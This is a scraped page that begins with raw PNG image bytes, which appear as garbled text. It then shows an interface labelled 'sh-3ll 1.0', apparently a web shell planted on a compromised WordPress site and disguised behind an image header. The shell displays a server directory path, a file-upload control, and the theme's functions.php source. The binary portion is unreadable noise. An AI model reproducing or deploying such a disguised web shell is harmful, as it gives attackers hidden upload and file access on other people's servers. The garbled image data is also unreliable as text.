PNG  IHDR   Q gAMA a cHRMz& u0 `: p Q<bKGD gmIDATx w U ﹻ & ^C X( J I@  "% (** B X +* i "]j(IH {~ R) [ ~ >h { }g y )I $I j          .I $I $ ʊ y@ }x . : $I $I i}  V Z  PC)I $I F  ^ 0ʐJ $I $ Q^ }{ "  r = OzI $gR Ze C. IO vH eK X $IM px sk . 쒷/ &  r [޳ < v| .I ~ )@ $ up dY R  a $I | M . e Jaֶ pS Y R 6j >h %IR ز  i f&  u J) M $I vL i = H; 7UJ , ] ,X $I 1  AҒ J  $ X Y XzI @G N ҥR T)E @ ; ]K* M w;# 5_ wO n~ \ DC& $(A 5 R R FkvIR } l ! RytRl; ~^Ƿ  Jj اy 뷦BZ Jr &ӥ 8 P j w~ vn v X ^ (I; 4 R= P[ 3]J , ]ȏ ~ : 3 ? [  a &e)` e* P[ 4] T =Cq 6 R[ ~ޤ r XR Հg( t _HZ -Hg M $ ãm L5 R u k *`%C- E6/   %[ t X.{ 8 P9Z   .vk  XŐKj gKZ Hg ( aK9ڦ mKj Ѻm _ \ # $5 ,)-  61eJ , 5m| r ' =   &ڡd %-]J on  X m| { R Ҟ  e $eڧY X Y  rԮ-a 7 RK 6h >n$5A V ڴ i * ֆ K) mѦ tm r 1p| q:흺,)O i * ֺ K) ܬ ֦ K-5 r 3 >0ԔHj Jئ EZ j ,%  r e ~ / z %j V M ڸ mr t) 3]J ,  T  K֦O vԒg  i i *   bK i NO~ % P W  0= d  i i  2 t J9 J  ݕ { 7 "I P 9 JK Tb u,%  r " 6 RKU } Ij 2  HK Z XJ ,妝 X Y  rP  ެ 2 4 c %i ^ IK|.H ,%  r b :XR l 1X 4Pe/` x &  P 8 Pj 28 M z s x  2  r \ zR P z 4J } y  P[g= L)  .Q[ 6Rj Wgp FI H *-`I  M RaK9T X c q *I y [ j E>cw% gL R ԕi F Cj - ď a` #e~ I j ,%  r ,)?[gp  FI˨ mn WX# >mʔ X A DZf9, nKҲz I Z XJ , L# k i P z 4JZF , I,` 61% 2s $  , VO Ϛ2 /U FJ fy 7 K > X + 6 S TX Ie  JI  Lz M fKm L RaK9 %| 4p9L w JI !`N sia zĔ)   %-  X  M  q > pk $-$ Q 2  x# N ؎ - QR }ᶦHZ ډ ) J , l#  i@y n3   L N` ; nڔ X  u X5 p F)  m| ^ 0( >B H F9(c զE er JI rg 7 4I@z 0\ JI  i 䵙 RR 0 s; $ s6eJ , `n 䂦 0 a )S) A  1eJ ,堌# 6 35R I gpN Hu  TH _S  ԕqV e ` &S) > p;S$魁eKI  uX `I  4 춒 o}`m $1" : PI <[ v9 ^ \p TJj r iRŭ P{# {R2,`) e-`mgj ~ 1 ϣ L Kam 7 &U\j / 3mJ , `F  ;M ' 䱀  .KR#  )y h Tq ;p cK9(  q!w ?  u RR,n.yw *UXj# \ ]ɱ  (q v2=R q f B#i Jm m L <] Y ͙ # $5 u TU 7 Ӧ X R+q ,`I} qL '  ` 6 K ͷ 6  r , ] 0S$- [RKR3 o iRE | nӦ X R. (i : L D L TJj Y %o : )  6  r x zҒ q TJj h㞦I  . $Y R.ʼ n GZ \ֿ  f:%5 5 I ˼! 6 dK x m  4E "mG _  s? .e*  ?L RfK9 %  q # uh$ ) i 3U  L RfK9yx m܌b j 8  4 $ i 1U ^@Wbm  4uJ ,  Ҫ A >  _Ij ?1 v 3 2 [ gL R D 9 6 o Ta R ׿ N7% L 2 NT ,`)7 & Ɲ L *꽙 yp _$ M 2 # A S ,`)7 $r k TA 29 _ Iy e" |/0 t) $ n X T2 `Y J  ; 6 J x" .e < ` $) P I$ 5 V4] 29   SRI> ~ =@j ] l p 2`K9Jaai ^" Ԋ 29 O RI% :X V5]J m  N9 ] H;1U C39 NI%  Xe78 t)a ; O i Ҙ >X t "~G> _mn:%  |~ޅ_ +] $ o ) @ ǀ{hgN; IK 6 G& rp ) T2 i ୦K Ju v* T = T  O SV >( ~D >d m ,I*  Ɛ : R # ۙNI% D>G .n $ o ; +# R R ! .e U  ˽ TRI 2 8 t)1L WϚ>IJ a3 oF b u& : tJ* (F7 y 0 Z R ^ p  'Ii L 24x | X RI% ۄ>S1]J y [z L $ adB7  .eh4  % % 누>W E Tf+3 IR: I 3Xה)3אO ۦSR O' ٺ )S }" q O r[B7 ϙ.edG )^E TR"R t R ݜh  0}  < S ɧx .6,) &  )SI p j 'I ? A L "  L  .\ TZV N ! 'I Y. pAS 5} TRbNL 3 ” d b e ) 4] Mg/S  Z{ni ,)=k  Д d p ǦO uLb7 ߛ2%lO }u ) K ]le T P  j eS(I Z ִ R ^eJ%%* /\ Ke ̈́ -O M $  |.5eJ  o s)^]oJ%%, 㚃R < p LS * `GӦ  tdt< 5  o' / 6 ٧ _ BIJ kH  _ 6%d rQ b gZ%%n ڍ9o1mj U g JR> L F VӦD B^k_ J Dj \ = L S(I v─a T eZ%e U A M- 0; ~˃@ i |l @S 4y  7 2 > sX-vA } ϛBI  !ݎߨ  W l *)3{' Y| iS lEڻ(  5 K t SI $ Uv0 2  ,~ ԩ~ x ; P 4 ց C r O%ty n4 25: KM l D ^ 4JR xS ه F_}شJ T S 6uj +ﷸk $e Z O% G *^ V2  u3E Mj 3 k%)ok  I]d T ) UR K DS  7 ~ m@ TJR ~ 荪 f T" ֛L \ s M  -0 T K f J z+  n إK r L  &j ( ) [ E&I ߴ>e FW _ kJR |! O :5 /2跌3 T- '| zX  r yp0 J S ~^ F >- 2 < `*% ZFP ) bS  n"  L :) +pʷf(pO 3 TMW$~  >@~ū: TA IsV 1} S2 < % ޟ M ?@ iT ,E ū oz%i ~ g |`wS( ] oȤ 8 ) $ ntu`өe `6y Pl Iz MI{ ʣ z ʨ )IZ 2 = ld:5+ 請M $-ї ; U >_ g sY $Á N 5 W   z W fIZ ) - y u XI fp ~S*IZ dt ; t >K ū KR |$ #Lc Ԁ+2 \ ;kJ `] Y  ǔ  M1B) U bG"IRߊ <x ܾ ӔJ   0 Z  = ' Y 嵤 Le v e g ) $ z n  V-º ^ 3Ւ o f #0 Tfk ^ Z s[ *I꯳3{ ) ˬ W 4Ւ4 Odp bZ R  S | *I  5 5 #  " & -IvT& / 윚Ye: i $ 9 { Lk u R e [ I~ _ \ ؠ% > GL $iY 8 9ܕ " S `kS.I l C;Ҏ4 x& > u_0J Lr < J 2 (^ $5 L s =Mg V ~ ,Ij u > 7 r2 )^=G $ 1: 3 G< `J 3 ~ &IR%  6 T x / rIj  3 O< ʔ&#f _yX J i ގN  Sz; T x ( i 8% # 4 ~ AS+Ij e  r I U rIj  3 62 v8 8 5 +Ij A h K__5 X  % n V%Iͳ-y |7 XV  2 v4 fzo  _6 8  " S/I-qbf ; Lk F )K SM $  Ms >K W N V  } ^` - 큧3 2Œ Vؙ G d u ,^ ^m % 6 ~  N n & ͓  3Œ V Z MsRpfE W %I wd ǀ Lm[ 7 W& bIR L @Q | )*  i ImsI  MmKm y V` i $ G+R 0 t V'  !  V )֏ 28 v  U 7͒ v  H ꦼt  x ꗞ T ;S }  7 M f + fIR  H N ZUk U x5 SA Jㄌ 9  Mq  μ AIRi| j 5 )o *^ '<$ T  w I 1 hE U ^c _ j ?  Е$%d`z c y f ,X O IJ nTg A U XRD   } { H } ^ S,P5 V 2 \ Xx`p Z  |Y k: $e ~ @nW L .j + ϝ Y b퇪 bZ BV u ) u  /IJ_ 1 [ p.p60 bC >|X 9 1P : N\ ! 5 qUB}5 a5ja `ub c VxYt1N 0 Z  z  l4 ]7­gKj ] ? 4ϻ * [ b g$)+À *x쳀ogO$~,5 ز U S    9  lq3 +5 mgw@ n p1 sso Ӻ=  | N6 / g( Wv7U ; zωM= wk ,0 u T g _ `_ P` uz? 2 yI !b ` k ĸSo +Q  x%!\ ο e   | އ  ԁK S-s6 pu _ (ֿ $ i+ + T8= e Y;  צ P +p h x WQ v  * |p1 .  ά. XRk IQ Y P, d r Z  |   B % w P| S5` ~́@ i ޾ E ; Չaw{o' Q ?% iL{u D ?  N1 B D ! o w PHRe FZ *    k _-~  {  E9 b- ~P `  f E{AܶB J A FO wx6  R ox 5 K5 = W we hS8 ( J C l J  ~ p+ F  i ;ŗo+ : bD #g( C " wA^  r. F 8L; dzd IH U X ݆ Ϟ X g )I F q e m %I 4 d j&pp T { '{ HO x ( Rk 6^C ٫ O. ) 3 :s( ۳(Z ?~ٻ8 9 zmT" PL tw䥈 5  &b<8GZ- Y & K ?e8,`I 6  e (֍x b8 3 ` r zX j )F =l($I j 2* (F ?h(/9ik:  I`m# p3 Mg   L aKj c /U # n5 S #  m(^)=y=đ x8Ŭ  I [U]  ~S цA 4 p $-F i(  R , 7C x ;X = c   I > { Km \ o(T v 2 v x 2q i   iDJ N , Ҏ  !1f 5quB j 1  ! 8 r  D Fd( !  W  Ql ,g S k  L 1Bx g' ' ՞ ^ ǘ; p Q  P(c _ IRu j g( W z b s # P ­rz > k  c&nB= q+  ؔX n#r5  )co *Ũ +G ?7 < | P   Q ӣ' G `uO d>%M ct z # Ԫ  ڞ & 7 CaQ ~N '  -P . W`Oedp0 3C!IZc I AMP U ۀ5 J < \u~+ { 9 (Fb b y A e B  hOS ܳ 1 b È  T #  ŠyDžs ,`5 } D  C - ` ̞%r& ڙa 8 7Q  W W p6e7 Rϫ/ o  Y ꇅ N ܶ ը tc !  L  A  T 7 V4 J sū  I- 0 P x z7 QN F _ i   Z g úW k G 83  0e Wr9 X  ]㾮݁#  Jˢ C }0 =3 ݱ tB i ] _ & { {[/ o[ ~ \q 鯜 0 0 ٩  |  cD 3 =4 B_b RY b$ó BR sf &  l L X#M* C _ L܄:gx )WΘs GSb  u L rF$9 ' ;\4 Ɍ q ' n [%p. Q`  u h N b`eCQyQ| l _  C>L b꟟3h Sb # x N xS s^ 88 | Mz ) }: ](vbۢ amŖ࿥ 0)Q 7 @ 0 =?^k(* J } 3ib kF n H jB׻ NO  z  x} 7p 0 t f   D X .lw gȔ h Ծ Ų }6 g E | Lk LZ t  eu+= q \I v0쮑 ) Q ٵpH8 /2?Σ o > J v pp h  o~ f>%bM M } \ // ": PT c(v 9v ! g ո Q ) U fV G +! 35{= x\ 2 +  k i,y$ ~A1 iC 6#)v  C 5 ^> +gǵ @1 Hy٪7 u;p ps ϰ u /S < aʸ Gu't D1 ԝI < p g|   6 j 'p: tպ h  X { o(7v], * } 6 a_ < u` Ȯ r.E ;ˑ q io p R "  26 2E 8j ]  U 鿍ǜ v D ,2 վ 8ϫ : e/^AQ T H{ WgRl ̊  2Yx  "1 Q > wX Rk,O ] Lܳ ~V< F 8 a _g~ o. XCD ?S t h 梫A o %  ~K1ݵ O1 LyZ bJ E Q xpq i Cpv a6 _ : wejT  ] " < u`"  2> o4  5rp"N5k ; m { rZ b  Φ${#)  `( Ŵ g ,;j % 6 j  . pyYT ?}-  kB  D c3q A` N WQ  ū2 0 /^A  Z W% N Q MI . X#P # ,^Eb c&  ?X R tA V |Y . 1 ! ؅ ⨉ccww >  i v l(J  T ~ u` ٵDm  q) + Ri  x/ x  8cyFO ! / * !/ & ,7 <. N , YDŽ &ܑ Q F1 Bz )F P ʛ ?5 d  6`  kQձ λc ؎ %58 2  Y &nD _$Je4 >a ? ! ͨ | Ȏ WZ S s  v 8 j   ( I & y j Jb5 m ?  H Wp =    g} G 3 # |I ,5v珿 ] H~ R3 @B   [☉9Ox~ oMy =J ; xUVoj  b U s l_  35 t- (Ճɼ RB7 U! q c + x 4 H _ Q o֮$[ GO< 4` &č \GO c[ .[* A f%m G/ ň M / r W /Nw~B1U3 J ? P& Y )` ѓ Z 1 p] ^l“ W#)lWZ i  l U Q u` -  m|xĐ,   _ ƪ|9i: _ {*(3G ѧ} Uo D+ >m_ ?V Pۅ 15 &}2 | /p IOʵ > G Z9 cmíت mnz  )yߐb   D   >e}: ) r|@ R5q V S  A 10 C% E _ '^ 8c    R 7O; 6 [ eKeP  G  ϦX7 j  b} OT GO^j n*媓 7n  GMC  t, k31 R b (v yܴ ʭ !  iTh8~ ZY Z p  (q  s  RL ? b }  c Ũ ʊGO^ ! rP JO 1 5 MJ[ c&~   Z`" ѓޔ  H1 C&  ^| Ш| rʼ, A wĴ? b 5) t  L U  )F | & g٣O] oqSU j y( x< Ϳ3 . FS k oYg 2 \_#w  j {u'r Q  > o  ; %n | F * O _ L " e 9um Dds ?. fu u Qb IW z |4\0 s b; O v xOS s ; G% T4g FR u rj  (֍ڑb u ԖK D u 1MK{ 1^ q; C= 6\8 F R 艇 !  %\Y Ô U| 88 m )֓ Nc L ve  C 6z;  o& X x5 9 :q 6 1 Z (T 7 >C? g c ļ x ѐ Z  o o- 0 8j ہ x , ` '   Ҕ Oc Rl f ~ ` jj " .N v+ sM _ ]   Z k g( UOP   y εx% pU h 2    ( @ il0 ݽ QXxp px- N S ( W O+ 轾 n Fߢ   3M  <;z ) FBZ j c i u / Q oF 7R ¥ Z F L F ~ # ȣ ߨ^<쩡 ݛк  v џ) )  M E>ώ x4 m#!- m !L;vv#~Y[ đ K  m  x 9.[, U FS C VkZ + ߟ r Y٧ IZd/ io i$ % ͝ب_ֶX 3 ܫ hNU Z Z g k = ] =  b  b JS[ w j U( )  *I =ώ:}-蹞 l Uj : 1 }  M W m =̛  _ ¾,8 {__  m{_ P V  K^n3 e sw5 ӫh # $- q= A̟> ,^I}P ^ J$ qY~Q[ Xq 9 < r d sߏǜs # %/ y kKZ  b ? S k tc 񫝶L  &I W! b >{# & T.^  G Vj _ _R K p  n,b=` ż Y@ ^՝ ;z {p aV Kk QXj / )y TI c&F ;FB G 7w g ZZD G ! x r_ t Ƣ! } i / V =M / # n B8 Xx Ы ^ @ CR <{䤭  Y CN  ) e K OSƟa $ & g[i3 .C 6x rOc  8 TI  ; o hH6 P &L{ @ q 6 [ G zp ^  71 j ( l ` J }]  e6 X  ☉ #͕  ׈$A B1 Vj h㭦IRs  qFBj w Q_7 Xk >y"   N= M B0 , C # o6MR c 0 | $ ) ف  "1  !i xY<  B 9mx `  , t A >)5ػ Q ?j  Q ? cn >Y Z e  Tis v h # GMމȇ p : ԴVuږ 8ɼH ]C. 5C!UV;F`m b Bk L TM vP ʍϤj ? ԯ/Q r1 N B`9s"  s TYs z & 9S%U԰ > { < ؿ SM xB |H \3 @!U | k']   $U +> | HHM  Lޢ ? V9i D!- @ x  TI  î % 6Z *  9X @HMW# ? n N ,o e6 ?tQw ڱ . ]-   y ' :mW 0#! J82qF jH -` ѓ & M 0 u Uγmxϵ  ^-  _ \ ] )@0R t.8 /?ٰ C Y] x }=sD3 o j ަ Ы N uS%U }Ԥw HH >ڗ jܷ_3gN q7 [q  2 l a *  A r  Ǔ Ԗ+p 8 / R GM  ]j a c d( JhWko 6 ڎb j ]i 5 Bj 3+ 3 !\j 1   U Z L s L T v8 HHmup< U  \ GMމ 3 R+  w4R 6 j  XW M T! u( *! Pz , # Sq * 8?vww )kO a $ [& ? * bB X @ % 8 ] = R r)kO w 0j i M Tq ng$ 2\ q 8f : e N1 R xr< 5 ; M p^ @;  7]R ꎾ JtER . / (5 v3 R[ @= h l ?  l @; .  [] Q* Z\ 4  "1P 'Y w x # ǀg { 5 i _IUR z RɞsyS5q E  = @ Y  っ v k   6 &  5 1E o0 | kp c  # j=` D WRU j̟ J'P w2 S v : p g 3Rv }, #  8 b Z~ & (F = i >< >gK M Jj  0 @H% , W ΃ 7 R) " >c , x ix   ј ^  aܖ > H[ i.UI Hc U 1=y W\ = S*  G R~ )AF  = ` &  2 h` D z T 󑓶 J+  ? W+} C % P:| 0H  ܆ }- <;O C[ ~o. $~ i } ~ HQ Tv X Έ r=b}$ v i z L 4 : ȰT|4 ~ * !o X QR6 L k+ #  t/g lԁߖ   [ Jڶ_N$ k *" .  x s  xX  7jRVbA  A ʯKҎ U3  ) zS NN _ ' s ?f ) 6 X  !%s s A kʱ> qƷ b h g %n ~p 1RE GM  HH = B Jiy[< 5 ǁJҖ g K R * 倳 e ~ HUy )A g,K)` V w6bRR: q L#\ r  cl K / $ s h *$   6 덤 KԖc 3 Z 9 = Ɣ =o> X Ώ "1 )a ` S JJ 6 k< U  -] b m` {r y; T u _GR5 * %6 do #XRg# -!nl $u 3 A L+Q{ 9 x~ a- | H  vbq[\ NJT% ] rO8, E -F w)+?(Y{ Lz n6  ׀ ?C  R ~ ,)m 䎧 R 7 cww qpW ڳ=i. U`Xf F b= V LJ H^LI} % } | w aG $ , ^ R^ 6 k2 ^B {7 t  V %@G q p %R zģN_ HHI[7 ֱ >( < c e {%kϊ  P +  SL' T cM J WR m ŏ " w) qc e f ꒵i? b7 b  ( ' " 2r% ~ HUS 1 \<  (` 1 W x 9 = 8HY9 m:X 1 8 b g  D1 u ~|H ;K -  U ep ,, C 1 RV. M R 5 άh  , t W O8W C $ XRV sQS]3G J| 1 2 [ v M  : k #  ~tH 3 0Rf-  HYݺ-`I 9 %l I D T m\  S {] 9 gO ڒ M NCV\ G * 2  J R Ũ; R ҏ ^  ڽ ̱ mq 1E u? To 3I  ) y^ # j J w ^ Ń j ^ v   vl B_ ⋌ P 4x>0$ c> K†A ļ9s_V jT t0l #  m  >E - , , x ,  - W )  سo& 9 6 R E XR.6b  Xw +)G A  E v L ) ͞K4 $p= Ũ i_ѱ O j b HY  / +@ θH9޼] N ԥ %n { &zjT ? Ty) s^ U L lb , P iTf ^ <À ]   62R^V 7)S!nl l  S 6~ ͝ V } -=%* ʻ>  G   D nK <  y &>L  Py7'r=Hj 9 V`[c" *  ^ 8H pc  O 8 b nU `4 J ȪA Ƌ# 1_\ XϘH  PR gi k( ~G ~ 0 D A A _2 p | J 묭a  2 \N C r ] M _0 ^T %e#  vD ^ % x y-n  } -E \ 3 aS% yN! r_ { )s A w ڼp1pEAk ~v < :`'ӭ^ 5  A r X OI驻 T  ( dk ) _ \< w  ^ W I " RFj3 V# M<,o J  .H # \ SK s]    ) 9> P u A * B Y ]  y B " l \ ey hH *t  b K)3    IK Z 򹞋X jN n *n>k ] X _ d ! ry BH  ] *R 0(#' 7 %es9?? ښFC ,ՁQP  j AR  J \Ρw K # j  ah g w ; 2$ l* )  % Xq5 !U᢯ 6Re] | 0 [ _  _64 c h & _} i L8K Eg Ҏ 7 M  / \`|.p, ~` a  = BR?x ܐrQ  8K  XR  2M 8 f ? `s gW S% " Ԉ 7R%  $ N   } ?QL1|-э ټwI Z % pv L 3Hk>,I m g W 7{  E  x PHx 7 3R A  @R S CC  !\ȟ 5I XR^Z xHл $Q[ ŝ 40 ( > + _C > BR t <,T r T {  O / H +˟ Pl6 I B)/ V  C <6 a 2    ~   ( XwV4 g n  XR ϱ5 ǀHٻ?tw 똤Eyxp { # WK  q  G%5 ] , ( 0ӈH HZ ])ג=K1j & G(FbM @   )% I` XR g ʔ  KZ G(v P, <` [ K n^ SJR sAʠ 5xՅF` 0&R b V  t x :Ea UE /{ f  i 2;.I A wW8 / t T x A GOo N ? G } l L ( n ` Zv? p B 8K _g  I +ܗ # i ? ޙ . ) p  $ u tc ~DžfՈE o3  l/)I-U ?a ԅ ^ j x A r A ΧX   } DmZ@QLےbTXGd .^|x KHR{ |Ε W_h]  I J`[ G9 { ) .y )  < D * zk (ּ Ya O 8S ?  2-   H13  #pK" I`]`O h &= S  F1Z /Ie D1R W a "t' x?!)Ou: 1  | 6 gt\s  7 = z_; ؠ > 0X Y A1]q p? p _ k+J*  Y @HI> ^ ? g t.06R n  ,  `  ?) ;p pSF9  Z X L  BJP W j gQ| &)7! Hj Q t  <| ؅ W 5 x W HIz Y oV M G P Hj n`+ \ (d  N W)F+I rS [ | /a  `K | ͻ 0Hj { R,  Q= \ (F }\ W  R)A g SG`I s n AR =| 8 $} G(v C  $)s FBJ ?] _ u XRv ύ 6z  Ũ G[ 3   6- T9 H z p  W ̞ú   X g 큽 = 7C u  fzI  $ ) k i ^q k -)  0H* N` QZ  k k]/  t   n n sI ^Gu't= 7$  Z; {  8 ^ jB % IItR QS7 [ ϭ 3 $ _ O Q J`7 ! ] W "  W,) Iy W AJA ;K  WG `IY {8 k$I $ ^ % 9 . ^(` N| LJ % @ $I }ֽp =FB* xN =gI?Q{٥ 4B)m w $I gc~d Z@G 9K X ?7)a K % ݅K $IZ -`I p C    U 6 $I \0  >! 9 k} Xa  II S 0H $I H ?1R . Ч j : 4~R w @p $I r A* u } W j WFPJ  $I ➓/  6#! L Ӿ + X36 x 8J |+L;v $I o 4 3  0  1 R2 0 M I $-E} @ ,pS ^ޟR[ / s¹' 0H $IKyf Ÿ f VO π FT* a$I > H  e ~ V Y/3 R / ) >d$I >2 8`Cj  w ,n@ FU* 9tt f$I ~<; = /4RD~ @ X - ѕ z ἱI $ : ԍ R a @ b X {  + Qx u q $I Л z o /~3\8 ڒ 4B  N7 $IҀ j V]n1 8H $I YFBj 3 ̚ ̵  ja  p p $I s/3R Ӻ - Yj+L; .0 R ́ I $ A v? #!5 " aʄ  j} U Km ɽ H $Ij C  Ys?h$I Dl8 4 3  . v } m 7 UiI= & =0L g0$I 4 :  emb e `   e Qbm 0u ? $I T!Sƍ' -  s  v )s#C 0 : XB 2 a w I $ zbww { ."p Pz O = Ɔ \  [ o($I aw] `  E ).K v i : L *#gР7[ $I   yG PI=@ R 4 y R~ ̮ ´cg I $I/< t P ͽ h Dg o 94  Z^k盇 ΄8 I 56 ^ W $I ^ 0 ̜ N ?4* H`237}g +h   x o q) SJ@p| ` $I %>   - h O 0e O > \ԣNߌZ D6 R =K ~n($I $ y 3 D>o4 b#px 2 $ yڪt z W  ~a $I ~? x< e{W  g ô { x$/ = {t G 0 7 e a  B $IҀ yG ^S 卆 "p uS 3 * E=洣 ,`9 > ' Bww pH $IZ ݑ nC 㧄 Pc _9 sO gw J=l1 :mKB > Ab<4L p $I b o1Z   Q @8 5 b ̍ S' F  , F e ,^I $Ij E dù{ l4 8 Ys_ s Z8. x m"+{~ ?q, Z D !I $ ϻ '|X h B )= …' ] M > 5 r g otԎ 獽 PH $Ij IP  hh)n# cÔq A' ug5qw  U &r F|1 E%I $% ] !' 3 AFD/;C k_` 9  v !ٴt PV ; x` '  *b Qa w I $I x 5 FC 3D _ ~ A _ #O݆ Dv V?< q w +I $I {  = Z 8" .#RI Y yj Ǫ =f D l 9 % M ,  a8$I $ Yw i[ 7 ݍFe $ s 1 ՋBV A? ` ]#!  oz  4zjLJ o8$I $% @3j A  a4 ( o ; p,,dya =  F9ً[ LS PH $IJ Y Љ+3 > 5"  3 9 aZ <ñh! {T pB G k j}  S p $I lvF .  F$I z< '\ K*qq .f <   2 Y ! S"-\I $I Yw č jF$ w9 \ߪB . 1 v!Ʊ ?+  r : ^ !I $ BϹ B  H  " B ;L 'G[ 4 U #5> ੐ )|# o0 aڱ $I > } k& 1`U# V ? Ys V x > {t 1 [ I~D &(I $I/{ H 0fw " q"  y % 4 I X y E~ M 3 8Xψ L}q   E $I [ >  nD ? ~ s   f  ]o ΁ cT 6"?' _ Ἣ $I > ~ .f |'!   N ? ⟩ 0 G KkX Z E ] ޡ;  /   & ?k O ۘH $IR  ۀw XӨ < 7@ P nS 04 a  Ӷ p . : @ \IWQ J6 s S%I $ e 5 ڑ v` 3:  x' ; w q_ vp gHyX Z 3 gЂ7{{   E  uԹ n ± } $I $ 8t;b| 5 91n ء   Q" P   6 O 5 i } i R ̈́ % Q ̄p! I䮢 ] O{ H $IR ϻ 9 s֧ a=`- aB\X 0"+5"C 1 H b?߮ 3x 3 & g ş g g  l _ h Z^,`5 ? ߎ vĸ% ̀M! OZC2#0x  LJ 0 G w $I $I } < {Eb + y  ; iI,`  ܚ  F   : 5  ܛ A 8 -O -| 8 K 7 s |# Z8 a& > < a&  /V tb t L ʌI $I $I $I $I $I $IRj  D D %tEXtdate:create2022-05-31T04:40:26+00:00 !Î%tEXtdate:modify2022-05-31T04:40:26+00:00 |{2IEND B` sh-3ll

HOME


sh-3ll 1.0
https://www.pemco.vn/wp-sitemap-posts-post-1.xmlhttps://www.pemco.vn/wp-sitemap-posts-page-1.xmlhttps://www.pemco.vn/wp-sitemap-posts-blocks-1.xmlhttps://www.pemco.vn/wp-sitemap-posts-product-1.xmlhttps://www.pemco.vn/wp-sitemap-posts-featured_item-1.xmlhttps://www.pemco.vn/wp-sitemap-taxonomies-category-1.xmlhttps://www.pemco.vn/wp-sitemap-taxonomies-product_cat-1.xmlhttps://www.pemco.vn/wp-sitemap-taxonomies-product_tag-1.xmlhttps://www.pemco.vn/wp-sitemap-taxonomies-featured_item_category-1.xmlhttps://www.pemco.vn/wp-sitemap-users-1.xml
DIR:/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-content/themes/flatsome-child/
Upload File :
Current File : /var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-content/themes/flatsome-child/functions.php
<?php function exclude_widget_categories($args){$args['exclude']=1;return $args;}add_filter('widget_categories_args','exclude_widget_categories');function custom_woocommerce_product_subcategories_args($args){$args['exclude']=get_option('default_product_cat');return $args;}add_filter('woocommerce_product_categories_widget_args','custom_woocommerce_product_subcategories_args');add_filter('wpseo_breadcrumb_links',function($links){if(is_woocommerce()){unset($links[0]);}$links=array_values($links);return $links;});function print_label_in_loop_product(){global $product;$label_style=get_field('label_style');$label_text=get_field('label_text');$label_image=get_field('label_image');echo!empty($label_text)?'<span class="label '.$label_style.'">'.$label_text.'</span>':'';echo!empty($label_image)?'<img class="label-image-right-bottom" src="'.$label_image.'" alt="">':'';}add_action('flatsome_product_box_after','print_label_in_loop_product');function in_hinh(){global $product;$product_id=$product->get_id();if(has_term('featured','product_visibility')){$hinh_noi_bat=get_field('hinh_noi_bat');echo '<img class="hinh-noi-bat" src="'.$hinh_noi_bat.'" alt="">';}}remove_action('woocommerce_before_shop_loop_item_title','in_hinh',11);add_action('flatsome_woocommerce_shop_loop_images','in_hinh',10);function custom_scripts(){wp_enqueue_script('custom-js',get_stylesheet_directory_uri().'/script.js');}add_action('wp_enqueue_scripts','custom_scripts');function ts_div(){add_ux_builder_shortcode('ts_div',array('name'=>__('TS DIV'),'category'=>__('Content'),'priority'=>1,'type'=>'container','info'=>'{{ label }}','options'=>array('label'=>array('type'=>'textfield','heading'=>'Admin label','placeholder'=>'Enter admin label...',),'id'=>array('type'=>'textfield','heading'=>'ID','placeholder'=>'VD: demo',),'class'=>array('type'=>'textfield','heading'=>'Class','placeholder'=>'VD: my-class',),),));}add_action('ux_builder_setup','ts_div');function ts_div_func($atts,$content=null){extract(shortcode_atts(array('id'=>'','class'=>''),$atts));ob_start();$id=!empty($id)?'id="'.$id.'"':'';$class=!empty($class)?'class="'.$class.'"':'';echo '<div '.$id.' '.$class.'>'.do_shortcode($content).'</div>';$content=ob_get_contents();ob_end_clean();return $content;}add_shortcode('ts_div','ts_div_func');function wsgr_ux_lightbox(){add_ux_builder_shortcode('lightbox',array('name'=>__('WSGR Lightbox'),'category'=>__('Content'),'priority'=>1,'type'=>'container','options'=>array('id'=>array('type'=>'textfield','heading'=>'ID','placeholder'=>'VD: demo',),'width'=>array('type'=>'scrubfield','heading'=>'Width','unit'=>'',),'auto_timer'=>array('type'=>'scrubfield','heading'=>'Auto Timer','unit'=>'',),'padding'=>array('type'=>'scrubfield','heading'=>'Padding','unit'=>'px',),'auto_open'=>array('type'=>'radio-buttons','heading'=>'Auto Open','options'=>array('true'=>array('title'=>'Yes'),''=>array('title'=>'No'),),),'auto_show'=>array('type'=>'select','heading'=>'Auto Show','placeholder'=>'Select..','options'=>array(''=>'None','always'=>'Always','once'=>'Once')),),));}add_action('ux_builder_setup','wsgr_ux_lightbox');function lightbox_func($atts,$content=null){return $content;}add_shortcode('lightbox','lightbox_func');function ts_ux_product_categories(){$dir_shortcodes=get_template_directory().'/inc/builder/shortcodes';$repeater_columns='4';$repeater_type='slider';$default_text_align='center';$options=array('style_options'=>array('type'=>'group','heading'=>__('Style'),'options'=>array('style'=>array('type'=>'select','heading'=>__('Style'),'default'=>'badge','options'=>require($dir_shortcodes.'/values/box-layouts.php'))),),'layout_options'=>require($dir_shortcodes.'/commons/repeater-options.php'),'layout_options_slider'=>require($dir_shortcodes.'/commons/repeater-slider.php'),'cat_meta'=>array('type'=>'group','heading'=>__('Meta'),'options'=>array('ids'=>array('type'=>'select','heading'=>'Categories','param_name'=>'ids','config'=>array('multiple'=>true,'placeholder'=>'Select..','termSelect'=>array('post_type'=>'product_cat','taxonomies'=>'product_cat'),)),'number'=>array('type'=>'textfield','heading'=>'Total','conditions'=>'ids == ""','default'=>'',),'offset'=>array('type'=>'textfield','heading'=>'Offset','conditions'=>'ids == ""','default'=>'',),'orderby'=>array('type'=>'select','heading'=>__('Order By'),'default'=>'menu_order','options'=>array('name'=>'Name','date'=>'Date','menu_order'=>'Menu Order',)),'order'=>array('type'=>'select','heading'=>__('Order'),'default'=>'asc','options'=>array('asc'=>'ASC','desc'=>'DESC',)),'show_count'=>array('type'=>'checkbox','heading'=>'Show Count','default'=>'true'),'hide_empty'=>array('type'=>'checkbox','heading'=>'Hide Empty','default'=>'true'),),));$box_styles=require($dir_shortcodes.'/commons/box-styles.php');$options=array_merge($options,$box_styles);$advanced=array('advanced_options'=>require($dir_shortcodes.'/commons/advanced.php'));$options=array_merge($options,$advanced);add_ux_builder_shortcode('ux_product_categories',array('name'=>'TS Product Categories','category'=>__('Shop'),'priority'=>3,'thumbnail'=>get_template_directory_uri().'/inc/builder/shortcodes/thumbnails/categories.svg','presets'=>array(array('name'=>__('Default'),'content'=>'[ux_product_categories]'),array('name'=>__('Simple'),'content'=>'[ux_product_categories style="normal"]'),array('name'=>__('Overlay'),'content'=>'[ux_product_categories style="overlay" slider_nav_style="simple" slider_nav_position="outside" image_overlay="rgba(0, 0, 0, 0.19)" image_hover="overlay-remove-50" 